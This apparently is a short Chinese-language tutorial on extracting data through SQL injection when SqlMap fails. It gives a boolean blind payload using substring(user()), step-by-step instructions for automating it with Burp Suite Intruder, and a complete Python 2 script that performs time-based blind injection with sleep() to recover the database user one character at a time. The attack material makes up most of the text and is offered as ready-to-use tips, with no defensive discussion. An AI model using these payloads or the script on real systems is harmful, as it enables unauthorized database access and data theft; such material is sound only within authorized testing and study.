你有没有遇到这样的场景,好不容易找到了一个SQL注入点,扔到SqlMap,爆错,怎么也跑不出数据。
这里分享两个很有效的小技巧,帮助你摆脱这种困境。前提是,你需要构造出有效的Pyaload。
第一种方法:利用BurpSuite实现半自动化盲注
为了方便演示,这里直接使用字符,构造SQL Payload:
?id=1 and substring(user(),1,1)='r'
步骤一:使用Burp抓包,发送到Intruder,设置模式和变量
步骤二:设置字典,变量1设置为 Numbers 1-20,变量2 设置为大小写字母+特殊字符
步骤三:Start attack,处理一下结果,依次排序,用户名为 root@localhost。
第二种方法:编写Python盲注脚本
编写Python脚本实现延迟注入,稍微改一下Payload就可以使用。
Python脚本实现延迟注入脚本:
import urllib
import urllib2
import time
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' }
values={}
print 'Start to retrive user:'
user= ''
for i in range(1, 20):
for payload in payloads:
try:
values['id']="1 xor if(ascii(mid(user(),%s,1))=%s,sleep(5),0)" %(i,ord(payload))
data = urllib.urlencode(values)
url = "http://127.0.0.1/test.php"
request = urllib2.Request(url,data,headers=header)
response = urllib2.urlopen(request,timeout=5)
result=response.read()
print '.',
except:
user += payload
print '\n[in progress]', user
time.sleep(3.0)
break
Python运行效果:
本文分享了两个SQL注入的小技巧,再结合手工注入,基本上能够解决很多SQL注入数据获取的问题。